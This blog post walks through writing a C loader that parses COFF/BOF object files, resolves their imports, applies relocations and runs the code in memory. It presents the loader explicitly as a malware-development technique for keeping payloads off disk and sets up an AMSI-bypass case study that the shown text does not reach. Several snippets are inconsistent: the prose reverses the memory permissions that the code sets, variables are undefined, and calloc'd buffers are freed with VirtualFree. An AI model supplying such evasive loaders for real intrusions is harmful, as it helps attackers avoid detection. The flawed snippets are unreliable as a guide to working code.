Motivation

This blog post presents a development method that can be leveraged by malicious actors in order to create and execute malicious payloads. Specifically, the use of COFF Loaders and COFF objects will be analysed. A similar approach is used by CobaltStrike c2 where the corresponding COFF object is called BOF [6] [7]. How about using these BOFs outside CobaltStrike c2? Specifically, we will analyse the COFF file and how a COFF loader works through an example of AMSI byte patching technique which is implemented in a COFF file. Moreover, the implementation of AMSI bypass through byte patching will be used as a case study to showcase the use of COFF objects in malware development. A COFF Loader takes as input an object file and execute it as a standard executable file. This technique is often used by malware as the program will only exist in memory, limiting the malware footprint.

Disclaimer

The purpose of this blog post is clearly educational. Everyone with malicious intentions is responsible in case of using methods presented in this blog post in unauthorised manner.


Common Object File Format (COFF)

The definition of COFF is the following:

COFF stands for Common Object File Format, it is the file format generated by compilers after the code-generation stage, they typically include only the machine code or assembly code generated from the corresponding source code without any external dependencies.

The Common Object File Format (COFF) is a format for executable, object code, and shared library files originated from Unix systems [4]. Microsoft created its own variant of COFF format. COFF object files (with .obj or .o extension) contain the following:

  • Header (with architecture information, timestamp, number of sections, symbols and others),
  • Sections (with assembly, debug information, linker directives, exceptions information, static data etc.),
  • Symbols table (like functions and variables) with information about their location.

Sections may contain relocation information which specifies how section data should be modified by linker and then how section data should be loaded into memory. For example, the .text section contains information that specifies which part of the code should be replaced and which part should be referenced in memory.

It is worth to mention here that COFFs are mainly used by CobaltStrike c2 platform [5] [6] .The modified version of COFFs used in CobaltStrike named Beacon Object File or simply BOF are integrating functions that can interact with the CobaltStrike beacon. Besides the usage of COFF Objects from CobaltStrike c2, we can create and use COFF Loaders without the need of using CobaltStrike c2.

The actual mechanism of a COFF Loader includes the need of browsing the contents of a COFF Object File and extract assembly along with relocation data and then perform the relocations. The final code (with relocations applied) can be executed by just calling it as a function pointer e.g. void (* hitTheGoFunction)(void); or for example by calling CreateThread.


Parsing a COFF Object

In general terms an object file produced by a compiler, assembler or translator represents the input file of the linker. After the linking process, an executable or library is generated and contains a combination of different parts of the object file. The content of the object file is not directly executable, but it is a relocatable code.

From Microsoft, the COFF file header is structured in several fields as seen below

**Offset** Size Field Description
0 2 Machine The number that identifies the type of target machine. For more information, see Machine Types.
2 2 NumberOfSections The number of sections. This indicates the size of the section table, which immediately follows the headers.
4 4 TimeDateStamp The low 32 bits of the number of seconds since 00:00 January 1, 1970 (a C run-time time_t value), which indicates when the file was created.
8 4 PointerToSymbolTable The file offset of the COFF symbol table, or zero if no COFF symbol table is present. This value should be zero for an image because COFF debugging information is deprecated.
12 4 NumberOfSymbols The number of entries in the symbol table. This data can be used to locate the string table, which immediately follows the symbol table. This value should be zero for an image because COFF debugging information is deprecated.
16 2 SizeOfOptionalHeader The size of the optional header, which is required for executable files but not for object files. This value should be zero for an object file. For a description of the header format, see Optional Header (Image Only).
18 2 Characteristics The flags that indicate the attributes of the file. For specific flag values, see Characteristics.

When parsing COFF objects the following steps should be followed

  1. Get the mapping of the COFF file object
  2. Get a pointer to COFF header
  3. Allocate extra memory for internal parsing structures
  4. Parse all COFF sections, including data and relocations
  5. Allocate extra memory for internal symbol table creation
  6. Parse and save the entire symbol table
  7. Resolve symbols addresses in memory
  8. Fix relocations

Creating the COFF Loader

In this section the creation of a COFF loader will be presented. As mentioned at the previous section there are several steps that have to be followed in order to parse, read and load the code of a COFF Object. First of all we have to create a main COFF parsing function. As mentioned at the previous section the properties of the COFF file header should be used when parsing the COFF Object.

typedef struct _COFF_FILE_HEADER {
    uint16_t Machine;
    uint16_t NumberOfSections;
    uint32_t TimeDateStamp;
    uint32_t PointerToSymbolTable;
    uint32_t NumberOfSymbols;
    uint16_t SizeOfOptionalHeader;
    uint16_t Characteristics;
} COFF_FILE_HEADER;

The properties of the struct described below

  1. Machine: Specifies the target architecture type for which the COFF file was created.
  2. NumberOfSections: Indicates the total number of sections (also known as segments or headers) present in the COFF file.
  3. TimeDateStamp: It holds the timestamp representing the date and time when the COFF file was created or modified.
  4. PointerToSymbolTable: It specifies the file offset (in bytes) of the symbol table within the COFF file.
  5. NumberOfSymbols: It indicates the total number of symbols present in the symbol table.
  6. SizeOfOptionalHeader: It specifies the size of the optional header (if present).
  7. Characteristics: It holds flags or characteristics of the COFF file, providing information about its attributes, such as whether it is executable, whether it is a DLL, whether it is relocatable, and more.

Step 1. Get the mapping of the COFF file object

The COFF data are mainly occurred from the mapping of the COFF object file that makes the specified portion of that file to be visible in the address space of the calling process.

The following WinAPIs are used to accomplish this task

After mapping the COFF file object we can use the LoadTheCOFFObject function in order to start parsing the COFF data.

First, open the existing COFF object file using the CreateFile WinAPI

HANDLE COFF_file = CreateFile(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);

Then we use the COFF_file at the CreateFileMapping WinAPI as seen below in order to open a named file mapping object for the specified COFF file object granting access to be mapped as read-only.

HANDLE FileMapping = CreateFileMapping(COFF_file, NULL, PAGE_READONLY, 0, 0, NULL);

Afterwards, we are passing the handle of the file as argument to the MapViewOfFile function which used to read the data of the COFF file object.

LPVOID COFF_data = MapViewOfFile(FileMapping, FILE_MAP_READ, 0, 0, 0);

And then we pass the data to the LoadTheCOFFObject function to parse them.

LoadTheCOFFObject((unsigned char *) COFF_data);

Finally, we unmap the file data and we are closing both handlers

UnmapViewOfFile(COFF_data);
CloseHandle(FileMapping);
CloseHandle(COFF_file);	

Step 2. Get a pointer to COFF header

The first step is to get a pointer to COFF header because we need to point to a memory location where the COFF data lives.

COFF_FILE_HEADER * 	header_ptr = NULL;
header_ptr = (COFF_FILE_HEADER *) COFF_data;

At this point we have the COFF object file data loaded in specific location inside the memory of the caller process and the *header_ptr that points to that location.


Step 3. Allocate some extra memory for internal parsing of data structures and relocations

At this point we have to allocate extra memory in order to parse internal structures. The following structure is used to accomplish this task

typedef struct _COFF_MEM_SECTION {
	uint32_t	Counter;				
	char		Name[10];				
	uint32_t	SizeOfRawData;			
	uint32_t	PointerToRawData;		
	uint32_t	PointerToRelocations;	
	uint16_t	NumberOfRelocations;	
	uint32_t	Characteristics;		
	uint64_t	InMemoryAddress;		
	uint32_t	InMemorySize;			
} COFF_MEM_SECTION;

The properties of the struct described below

  1. Counter: This member seems to represent some kind of counter or index related to the section.
  2. Name: This member is an array of characters representing the name of the section.
  3. SizeOfRawData: This member represents the size of the section’s raw data in the COFF file.
  4. PointerToRawData: This member holds the file pointer to the raw data of the section within the COFF file.
  5. PointerToRelocations: This member holds the file pointer to the relocation entries associated with this section. It’s a uint32_t, indicating it’s a 32-bit unsigned integer.
  6. NumberOfRelocations: This member indicates the number of relocation entries associated with this section.
  7. Characteristics: This member represents flags or characteristics of the section, providing information such as whether the section is executable, writable, readable, etc.
  8. InMemoryAddress: This member holds the address of the section in memory when loaded.
  9. InMemorySize: This member represents the size of the section in memory when loaded.

Inside the LoadTheCOFFObject() function we first parse the NumberOfSections that gets the number of sections. This indicates the size of the section table, which immediately follows the headers. Having the size of the section table we can dynamically allocate memory with its size.


COFF_MEM_SECTION * memSections = NULL;
int sizeOfMemSections = 0;
sizeOfMemSections = header_ptr->NumberOfSections;
size_t memSectionsSize = sizeof(COFF_MEM_SECTION) * sizeOfMemSections;
memSections = calloc(sizeOfMemSections, sizeof(COFF_MEM_SECTION));


Step 4. Parse COFF sections, including data and relocations

Now that we have the size of the sections table we are able to parse the COFF sections including the data and relocations. Every COFF object has a table of section headers to specify the layout of data within the file. The section header table consists of one entry for every section in the file. The size of a section is padded to a multiple of 4 bytes.

From this point we need to focus on data structures. The COFF object file begins with COFF File Header ( 20 bytes ) followed with one COFF Section Header ( 40 bytes ) for each section ( .text, .data, .reloc, etc. ) and then follows the raw emitted contents of sections, and, finally, COFF Symbol Table (18 bytes)

The following line of code returns a pointer to the a COFF_SECTION structure that points to the sections data of the object file after the COFF File Header

sections_ptr = (COFF_SECTION *)(COFF_data + sizeof(COFF_FILE_HEADER) + (sizeof(COFF_SECTION) * 0));

The beginning of the Sections data of the object file after the COFF File Header can be seen at the image below

COFFHeader

The Sections should be parsed contiguously including data and relocations as depicted at the code below

for (int i = 0 ; i < sizeOfMemSections ; i++) {
		sections_ptr = (COFF_SECTION *)(COFF_data + sizeof(COFF_FILE_HEADER) + (sizeof(COFF_SECTION) * i));

As seen at step 3, we already have the size of Sections in memory SizeOfMemSections , so at this point we only need to parse the sections of the loaded COFF object as seen in the code above.

the COFF Section struct can be seen below

typedef struct _COFF_SECTION {
    char Name[8];
    uint32_t VirtualSize;
    uint32_t VirtualAddress;
    uint32_t SizeOfRawData;
    uint32_t PointerToRawData;
    uint32_t PointerToRelocations;
    uint32_t PointerToLineNumbers;
    uint16_t NumberOfRelocations;
    uint16_t NumberOfLinenumbers;
    uint32_t Characteristics;
} COFF_SECTION;

Now we need to check the size of the sections raw data in order to create the COFF section table in memory leveraging the COFF_MEM_SECTION structure.

if (sections_ptr->SizeOfRawData > 0) {
			memSections[i].Counter = i;
			strcpy_s(memSections[i].Name, strlen(sections_ptr->Name) + 1, sections_ptr->Name);
			memSections[i].Name[8] = '\0';
			memSections[i].SizeOfRawData = sections_ptr->SizeOfRawData;
			memSections[i].PointerToRawData = sections_ptr->PointerToRawData;
			memSections[i].PointerToRelocations = sections_ptr->PointerToRelocations;
			memSections[i].NumberOfRelocations = sections_ptr->NumberOfRelocations;
			memSections[i].Characteristics = sections_ptr->Characteristics;

Furthermore, the COFF memory region should be adjusted to include new section in order to copy the data into it.

First we need to adjust the memory region to include the new section. Using the following code we align the size of memory to page size of 4096 bytes.

memSections[i].InMemorySize = memSections[i].SizeOfRawData  + (0x1000 - memSections[i].SizeOfRawData % 0x1000);

Then we allocate memory for the current section

memSections[i].InMemoryAddress = VirtualAlloc(NULL,memSections[i].InMemorySize,MEM_COMMIT | MEM_TOP_DOWN,(sections_ptr->Characteristics & IMAGE_SCN_CNT_CODE) ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE);

In case where the section we are dealing ( see below image ) contains executable code ( sections_ptr->Characteristics & IMAGE_SCN_CNT_CODE = 32 ) , we should only use the permission to PAGE_READWRITE, otherwise we should use PAGE_EXECUTE_READWRITE.

Executable_Code

Afterwards, we replace memcpy by using memory manipulation macros utilising __movsb intrinsic functions to copy the COFF data and the pointer to raw data of the current section into the new allocated memory address.

[..]
#define CopyMem   __movsb
[...]
if (sections_ptr->PointerToRawData > 0)
	CopyMem(memSections[i].InMemoryAddress, COFF_data + sections_ptr->PointerToRawData, sections_ptr->SizeOfRawData);
[..]

Step 5. Allocate some extra memory for internal symbol table

Because we need to use the internal symbol table when loading the object into memory we must allocate some extra memory. This can be done with the following lines of code

[..]
COFF_SYM_ADDR* memSymbols = NULL;
memSymbols_size = header_ptr->NumberOfSymbols;
memSymbols = calloc(memSymbols_size, sizeof(COFF_SYM_ADDR));
[...]

For this purpose we utilise the following structure

typedef struct _COFF_SYM_ADDR {
	uint32_t	Counter;				
	char		Name[MEM_SYMNAME_MAX];	
	uint16_t	SectionNumber;			
	uint32_t	Value;					
	uint8_t		StorageClass;			
	uint64_t	InMemoryAddress;		
	uint64_t	GOTaddress;				
} COFF_SYM_ADDR;

The properties of the struct described below

  1. Counter: symbol position in the Symbol Table
  2. Name[MEM_SYMNAME_MAX]: The name of the symbol.
  3. SectionNumber: The section number containing symbol
  4. Value: The offset inside section containing symbol
  5. StorageClass: The symbol storage class
  6. InMemoryAddress: The address of the symbol in memory
  7. GOTaddress: The address of the symbol in Global Offset Table

Step 6. Parse, and save the entire Symbol Table

Now that we have allocated the extra memory for the Symbol Table, we should parse the symbols and then save them. At this point we will use the COFF_SYMBOL symbol struct which represents single COFF symbol table record as depicted below


typedef struct _COFF_SYMBOL {
    union {
        char ShortName[8];
		struct {
			uint32_t Zeros;
			uint32_t Offset;
		};
    } first;
    uint32_t Value;
    uint16_t SectionNumber;
    uint16_t Type;
    uint8_t StorageClass;
    uint8_t NumberOfAuxSymbols;
} COFF_SYMBOL;

The properties of the struct described below

  1. first: It is a union that can hold either a short name or a pair of 32-bit integers (Zeros and Offset).
    • ShortName: If the symbol name is shorter than 8 characters, it is stored directly in this array.
    • Zeros: It represents a sequence of zeros.
    • Offset: It stores the offset to the string table that contains the full symbol name.
  2. Value: It represents the value associated with the symbol.
  3. SectionNumber: Indicates the section number in which the symbol is defined or referenced.
  4. Type: It represents the type of the symbol.
  5. StorageClass: Indicates the storage class of the symbol.
  6. NumberOfAuxSymbols: It represents the number of auxiliary symbol records associated with this symbol.

We should read the symbol table regarding the COFF file, returning a slice of COFF_SYMBOL objects. The COFF format includes both primary symbols (whose fields are described by COFF_SYMBOL above) and auxiliary symbols; all symbols are 18 bytes in size. The following code used to get a pointer to the beginning of the symbol table which can be found at COFF_data + header_ptr->PointerToSymbolTable.

COFF_SYMBOL *sym_ptr = NULL;
symbol_ptr = (COFF_SYMBOL *) (COFF_data + header_ptr->PointerToSymbolTable);

According with Microsoft "immediately following the COFF symbol table is the COFF string table. The position of this table is found by taking the symbol table address in the COFF header and adding the number of symbols multiplied by the size of a symbol" .The following code does exactly this and points to the beginning of the array which corresponds to the COFF string table

char* strings_ptr = (char *)((COFF_data + header_ptr->PointerToSymbolTable) + memSymbols_size * sizeof(COFF_SYMBOL));

We can confirm this if we follow in dump the contents of the strings table in the debugger. At the image below we can can clearly see that the strings_ptr is pointing to a location where we can find the names of the symbols.

Symbols_Names

The following disassembled code also shows the symbol names of the COFF object

[....]
  000000000000001B: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$CreateToolhelp32Snapshot]
  0000000000000021: 48 89 44 24 20     mov         qword ptr [rsp+20h],rax
  0000000000000026: 48 8D 54 24 30     lea         rdx,[rsp+30h]
  000000000000002B: 48 8B 4C 24 20     mov         rcx,qword ptr [rsp+20h]
  0000000000000030: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$Process32First]
  0000000000000036: 83 F8 01           cmp         eax,1
  0000000000000039: 75 34              jne         000000000000006F
  000000000000003B: 48 8D 54 24 30     lea         rdx,[rsp+30h]
  0000000000000040: 48 8B 4C 24 20     mov         rcx,qword ptr [rsp+20h]
  0000000000000045: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$Process32Next]
  000000000000004B: 83 F8 01           cmp         eax,1
  000000000000004E: 75 1F              jne         000000000000006F
  0000000000000050: 48 8B 94 24 70 01  mov         rdx,qword ptr [rsp+170h]
                    00 00
  0000000000000058: 48 8D 4C 24 5C     lea         rcx,[rsp+5Ch]
  000000000000005D: FF 15 00 00 00 00  call        qword ptr [__imp_MSVCRT$_stricmp]
  0000000000000063: 85 C0              test        eax,eax
  0000000000000065: 75 06              jne         000000000000006D
  0000000000000067: 8B 44 24 38        mov         eax,dword ptr [rsp+38h]
  000000000000006B: EB 0F              jmp         000000000000007C
  000000000000006D: EB CC              jmp         000000000000003B
  000000000000006F: 48 8B 4C 24 20     mov         rcx,qword ptr [rsp+20h]
  0000000000000074: FF 15 00 00 00 00  call        qword ptr [__imp_KERNEL32$CloseHandle]
  000000000000007A: 33 C0              xor         eax,eax
  000000000000007C: 48 81 C4 68 01 00  add         rsp,168h
[.....]

At this point we have to parse all the symbol records that are assigned to sections. According with Microsoft, the Section Value field in a symbol table entry is a one-based index into the section table. However, this field is a signed integer and can take negative values. There might be cases where the symbol record is not yet assigned a section. A value of zero indicates that a reference to an external symbol is defined elsewhere.

Because we are parsing the entire Symbol Table we must distinguish the symbols in three categories

  1. Symbols that have absolute values and are not addresses
  2. Symbols providing general type or debugging information but don’t correspond to a section
  3. Common symbols.

In such case we must focus on two things

  1. We must check if the symbol record is not yet assigned a section (IMAGE_SYM_UNDEFINED == 0) which means that there is reference to an external symbol that is defined elsewhere.
  2. We must check if the string is in the Strings Table and if not, make sure that a string from ShortName is ending with null byte.

At this point we will start by checking if the IMAGE_SYM_UNDEFINED is equal to zero which indicates that there are undefined symbols

[...]
for (int i = 0 ; i < memSymbols_size ; i++) {
	if (sym_ptr[i].SectionNumber == 0 && sym_ptr[i].StorageClass == 0) 
	{	
		strcpy_s(memSymbols[i].Name, MEM_SYMNAME_MAX, "__UNDEFINED");
	}
[...]

We can check if the string is in the Strings Table by checking the following

sym_ptr[i].first.Zeros != 0

According to Microsoft documentation  “to determine whether the name itself or an offset is given, test the first 4 bytes for equality to zero”.

The code should be as follows

if (sym_ptr[i].first.Zeros != 0) {			
	char sname[10];
	strcpy_s(n, strlen(sym_ptr[i].first.ShortName) + 1, sym_ptr[i].first.ShortName);
	sname[8] = '\0';
	strcpy_s(memSymbols[i].Name, MEM_SYMNAME_MAX, sname);
}
[..]

Lastly if the above two conditions are failed we land in the third condition where we can get the defined symbol. So, we check if sym_ptr[i].first.Zeros == 0 because from the description of Microsoft documentation it is indicated that the field Zeros member is set to all zeros if the name is longer than 8 bytes meaning that a symbol name exists.

[...]
if (sym_ptr[i].first.Zeros == 0)
{
	strcpy_s(memSymbols[i].Name, MEM_SYMNAME_MAX, (char *)(strings_ptr + sym_ptr[i].first.Offset));
}
[...]

We can see this at the debugger on runtime

WinAPI_Declaration

Now we should save the data inside internal symbols table

[...]
COFF_SYM_ADDR *memSymbols = NULL;
[...]
memSymbols[i].Counter = i;
memSymbols[i].SectionNumber = sym_ptr[i].SectionNumber;
memSymbols[i].Value = sym_ptr[i].Value;
memSymbols[i].StorageClass = sym_ptr[i].StorageClass;
memSymbols[i].InMemoryAddress = NULL;

Step 7. Resolve symbols addresses in memory

A COFF object file contributes defined and undefined symbols. An import file contributes defined symbols that can be referenced by the form of __imp_$sym.

Before diving into resolving the addresses of the symbols in memory we need to allocate some memory for the GOT addresses.

[...]
char *iGOT = NULL;
[...]
iGOT = VirtualAlloc(NULL, 2048, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
[...]

At Step 5 we allocated some extra memory for internal symbol table resolution that should be used during the loading of the COFF object. For this reason we first stored the number of entries in the symbol table inside the global variable memSymbols_size of type int

memSymbols_size = header_ptr->NumberOfSymbols;

The number of Symbols are then parsed in order to resolve the symbol addresses in memory

[...]
#define CopyMem  __movsb
[...]
for (int i = 0; i < memSymbols_size ; i++) {
		memSymbols[i].GOTaddress = NULL;
		symbol = malloc(sizeof(char) * memSymbols_size);
		if (symbol == NULL) {
			return -1;
		}
		memset(symbol, 0, sizeof(char) * memSymbols_size);
		CopyMem(symbol, memSymbols[i].Name, strlen(memSymbols[i].Name));
[...]

Now we have to resolve external symbols. As said at the beginning of this section external symbols are referenced by the form of __imp_$sym. We have to distinguish between the KERNEL32.DLL and other DLLs such as MSVCRT.DLL.

The first check should be regarding the token __imp_ . Then we can acquire the name of the module as follows

[..]
#define TOKEN_imp   "__imp_"
[...]
if (StrStrIA(symbol, TOKEN_imp)) {
	if ((FName = strchr(symbol, '$')) != NULL) {
				DLL = symbol + strlen(TOKEN_imp);
				strtok_s(symbol, "$", &FName);
[....]

It should be mentioned here that references to external symbols are resolved dynamically at runtime. For this reason we will store the addresses of external symbols resolved at runtime at the GOTaddress (Global Offset Table address).

We will first use LoadLibraryA and GetProcAddress in order to find and get the address of the external symbol. Then we will store the address of the symbol in the Global Offset Table (GOT) in order to be able to resolve them later when the COFF loader executes.

[...]
HANDLE lib = LoadLibraryA(DLL);
if (lib != NULL) {
	memSymbols[i].InMemoryAddress = GetProcAddress(lib, FName);
	CopyMem(iGOT + (GOTindex * 8), &memSymbols[i].InMemoryAddress, sizeof(uint64_t));
	memSymbols[i].GOTaddress = iGOT + (GOTindex * 8);
	GOTindex++;
}
[...]

Lets see this in practice. As an example, in first catch, if we check the contents of the following reference &memSymbols[i].GOTaddress, for example at address 0x15B6B5511CE, we see that the first 8 bytes occurred from iGOT+(GOTindex*8) are all zeros.

GOT1

After we copy the memory address referenced by &memSymbols[i].InMemoryAddress to the iGOT+(GOTindex*8) and then pass this address into the memSymbols[i].GOTaddress, we will then be able to see the external address of OpenProcess module located inside Kernel32.dll

GOT2

If we get the address 0x7FF487650000 as seen at the first 8 bytes above and then follow in dump, we are able to see the indexed address 0x7FFB6BA2B0F0 of the OpenProcess WinAPI module inside the GOT.

GOT3

From here if we follow in dump to 0x7FFB6BA2B0F0 we will get inside the KERNEL32.dll and as seen below it points exactly to the OpenProcess function.

OpenProcess

Then if we follow in map, we can verify we are in the .text section of the kernel32.dll

kernel32text

This process should be done for every external symbol that is about to be resolved and executed by the COFF loader.

Also, apart from the external functions we have to deal with internal functions as well. For this reason, we implement the following code

[....]
section = memSymbols[i].SectionNumber - 1;
memSymbols[i].InMemoryAddress = memSections[section].InMemoryAddress + memSymbols[i].Value;
if (!strncmp(symbol, "go", 3)) {
	hitTheGoFunction = memSymbols[i].InMemoryAddress;
}
[...]

As seen from the code above, all the functions are resolved including the go function for which the memory address is assigned to the function pointer hitTheGoFunction which will be executed later when all the symbols relocations will be applied.


Step 8. Fix relocations

Now that we managed to resolve symbols addresses in memory, we need to adjust their memory location during the loading process. In the x64 Windows architecture, the Common Object File Format (COFF) uses a set of relocation types to specify how symbols and addresses need to be adjusted during the loading process.

As described from Microsoft "Object files contain COFF relocations, which specify how the section data should be modified when placed in the image file and subsequently loaded into memory."

For each section in an object file, an array of fixed-length records holds the section’s COFF relocations.

There are type indicators where each type field of the relocation record indicates what kind of relocation should be performed. Different relocation types are defined for each type of machine.

After compilation and creation of the object file .o we use the objdump tool in order to see which types of relocations are used.

The following command shows the contents of the object file. The -x option can be used to display all available headers, including relocation information.

objdump -x source.o

The following screenshot shows the type indicators used

COFFTypeIndicators

As seen from the image above the type indicators used for this object file are the following

IMAGE_REL_AMD64_ADDR32NB 0x0003 The 32-bit address without an image base (RVA).
MAGE_REL_AMD64_REL32 0x0004 The 32-bit relative address from the byte following the relocation.

The IMAGE_REL_AMD64_ADDR32NB relocation type is specific to the x64 (AMD64) architecture and is used in COFF files targeting Windows operating systems. It stands for "Address 32 No Base", and it indicates that the relocation entry represents a 32-bit absolute address without a base reference.

  • IMAGE_REL_AMD64: This prefix indicates that the relocation type is specific to the x64 architecture (AMD64).
  • ADDR32NB: This part specifies the nature of the relocation:
    • ADDR32: Indicates that the relocation involves a 32-bit address.
    • NB: Stands for “No Base”, meaning that the relocation does not require a base address adjustment.

The IMAGE_REL_AMD64_REL32 relocation type is used in COFF (Common Object File Format) files specifically for the x64 (AMD64) architecture, primarily targeting Windows operating systems. It indicates a 32-bit relative address relocation, which means that the loader needs to adjust the address by a fixed amount based on the difference between the current location and the target location.

  • IMAGE_REL_AMD64: This prefix indicates that the relocation type is specific to the x64 architecture (AMD64).
  • REL32: This part specifies the nature of the relocation:
    • REL: Indicates that the relocation involves a relative address.
    • 32: Specifies that the address difference is represented using a 32-bit value.

There are also other type indicators as documented from Microsoft

Now lets start implementing these relocations in order to update the sections data to be able to load them in memory and read by the COFF loader.

First we will go through the sections and from there we will check the number of relocations. From the sections table we will get a pointer to the beginning of the relocation entries. If there are no relocations, this value is zero.

[...]
for (int i = 0 ; i < memSections_size ; i++ ) {
	if (memSections[i].NumberOfRelocations != 0)
		for (int j = 0 ; j < memSections[i].NumberOfRelocations ; j++ ) {
			reloc_ptr = (COFF_RELOCATION *) (COFF_data + memSections[i].PointerToRelocations + sizeof(COFF_RELOCATION) * j);
[....]

For the purpose of this implementation we will use the following structure

typedef struct _COFF_RELOCATION {
    uint32_t VirtualAddress;
    uint32_t SymbolTableIndex;
    uint16_t Type;
} COFF_RELOCATION;

The properties of the struct described below

  1. VirtualAddress: The address of the item to which relocation is applied.
  2. SymbolTableIndex : A zero-based index into the symbol table. This symbol gives the address that is to be used for the relocation.
  3. Type: A value that indicates the kind of relocation that should be performed. Valid relocation types depend on machine type.

Also the following structure is used

typedef struct _COFF_MEM_SECTION {
	uint32_t	Counter;				
	char		Name[10];				
	uint32_t	SizeOfRawData;			
	uint32_t	PointerToRawData;		
	uint32_t	PointerToRelocations;	
	uint16_t	NumberOfRelocations;	
	uint32_t	Characteristics;		
	uint64_t	InMemoryAddress;		
	uint32_t	InMemorySize;			
} COFF_MEM_SECTION;

The properties of the struct described below

  1. Counter: It represents a counter or index related to the section.
  2. Name: It is an array of characters representing the name of the section.
  3. SizeOfRawData: It represents the size of the section’s raw data in the COFF file.
  4. PointerToRawData: It holds the file pointer to the raw data of the section within the COFF file.
  5. PointerToRelocations: It holds the file pointer to the relocation entries associated with this section.
  6. NumberOfRelocations: It indicates the number of relocation entries associated with this section.
  7. Characteristics: It represents flags or characteristics of the section, providing information such as whether the section is executable, writable, readable, etc.
  8. InMemoryAddress: It holds the address of the section in memory when loaded.
  9. InMemorySize: It represents the size of the section in memory when loaded.

And the following struct as well

typedef struct _COFF_SYM_ADDR {
	uint32_t	Counter;				
	char		Name[MEM_SYMNAME_MAX];	
	uint16_t	SectionNumber;			
	uint32_t	Value;					
	uint8_t		StorageClass;		
	uint64_t	InMemoryAddress;		
	uint64_t	GOTaddress;		
} COFF_SYM_ADDR;

The properties of the struct described below

  1. Counter: It represents the position of the symbol in the symbol table.
  2. Name: It is an array of characters representing the name of the symbol. MEM_SYMNAME_MAX likely denotes the maximum length of the symbol name that this structure can accommodate.
  3. SectionNumber: It represents the section number containing the symbol.
  4. Value: It represents the offset inside the section containing the symbol.
  5. StorageClass: It indicates the storage class of the symbol.
  6. InMemoryAddress: It represents the address of the symbol in memory.
  7. GOTaddress: It represents the address of the symbol in the Global Offset Table (GOT). The GOT is a data structure used in some architectures, such as x86-64, for implementing position-independent code and resolving data references.

Starting with the implementation of the IMAGE_REL_AMD64_ADDR32NB ( Type 0x3 ), we first need to calculate the address where the relocation data of the symbols that have been resolved earlier ( at step 7 ) will be placed. The calculation of the address involves the allocated memory region ( InMemoryAddress ) where the section is stored plus the offset from the beginning of the section ( VirtualAddress ).

[...]
rva = memSections[i].InMemoryAddress + reloc_ptr->VirtualAddress;	
[...]

Then we will copy the content of rva ( the content is the memory address of rva ) at the memory address referenced by &offset32

#define CopyMem   __movsb
[...]
CopyMem(&offset32, rva, sizeof(int32_t));	
[...]

Then we will calculate the relative_address which is the position in memory that holds the relocation data that will be updated.

relative_address = (memSymbols[reloc_ptr->SymbolTableIndex].InMemoryAddress) - ((int32_t) rva + 4);

The memSymbols[reloc_ptr->SymbolTableIndex].InMemoryAddress points to the memory location where the addresses that are to be used for relocations are indexed. If we subtract from rva + 4 we will have the location where the relocation data are stored according to IMAGE_REL_AMD64_ADDR32NB type indicator.

Finally the reference_address holds the updated relocation data that will be stored inside the memory location specified by the rva + 4

#define CopyMem  __movsb
[...]
reference_address = offset32 + relative_address;
CopyMem(rva, &reference_address, sizeof(uint32_t));
[...]

The summary of the code can be seen below

#define CopyMem         __movsb
[...]
int32_t relative_address = 0;
char* rva = NULL;		// the memory to update 
int32_t reference_address = 0;
int32_t offset32 = 0;
for (int i = 0 ; i < memSections_size ; i++ ) {
	if (memSections[i].NumberOfRelocations != 0)
		for (int j = 0 ; j < memSections[i].NumberOfRelocations ; j++ ) {
			reloc_ptr = (COFF_RELOCATION *) (COFF_data + memSections[i].PointerToRelocations + sizeof(COFF_RELOCATION) * j);
rva = NULL; 
if ( reloc_ptr->Type == IMAGE_REL_AMD64_ADDR32NB ) { 		
	rva = memSections[i].InMemoryAddress + reloc_ptr->VirtualAddress;		CopyMem(&offset32, rva, sizeof(int32_t));			
	relative_address = (memSymbols[reloc_ptr->SymbolTableIndex].InMemoryAddress) - ((int32_t) rva + 4);	
	reference_address = offset32 + relative_address;
	CopyMem(rva, &reference_address, sizeof(uint32_t));
[...]

Now we will follow with the implementation of the IMAGE_REL_AMD64_REL32 ( Type 0x4 )

IMAGE_REL_AMD64_REL32 is a relocation type used in COFF (Common Object File Format) files for the x64 (AMD64) architecture. This relocation type indicates a 32-bit relative address relocation. It signifies that the loader needs to adjust an address by a fixed amount, calculated as the difference between the current location and the target location.

Using the IMAGE_REL_AMD64_REL32 relocation type we should consider the following. As mentioned at Step 8, in cases where references to external symbols are resolved dynamically at runtime, the GOTaddress (Global Offset Table address) is used, as it stores the addresses of external symbols resolved at runtime. Therefore, when processing IMAGE_REL_AMD64_REL32 relocations, it should be checked whether the target address is pointing to an external symbol that requires runtime resolution via the GOTaddress.

It should also be considered that some compilers may optimize position independent code ( PIC ) by using a combination of IMAGE_REL_AMD64_REL32 relocations and GOTaddress references to minimize the number of relocations needed. In such cases, checking the GOTaddress can help ensure that the relocation is applied correctly according to the optimization strategy used by the compiler.

All the implementation of updating the relocation data is the same as presented earlier when implemented the IMAGE_REL_AMD64_ADDR32NB type indicator. The only difference here is that we also have to check whether the target address is pointing to an external symbol that requires runtime resolution via the GOTaddress for the reasons we explained before.

if (memSymbols[reloc_ptr->SymbolTableIndex].GOTaddress != NULL)
	reference_address = (int32_t)((memSymbols[reloc_ptr->SymbolTableIndex].GOTaddress) - ((int32_t) rva + 4));
else
{
	relative_address = (memSymbols[reloc_ptr->SymbolTableIndex].InMemoryAddress) - ((int32_t) rva + 4);
	reference_address = offset32 + relative_address;
}

At this point we are ready to execute the final code (with relocations applied) by just calling the function

hitTheGoFunction();

Finally, before terminating the COFF loader we free up all memory regions taken by sections and its metadata as well as free up symbols’ metadata and GOT that is not needed anymore

	for (int i = 0 ; i < memSections_size ; i++)
		VirtualFree(memSections[i].InMemoryAddress, 0, MEM_RELEASE);
	
	VirtualFree(memSections, 0, MEM_RELEASE);
	VirtualFree(memSymbols, 0, MEM_RELEASE);
	VirtualFree(GOT, 0, MEM_RELEASE);
	return 0;

Dynamic Function Resolution ( DFR ) declaration

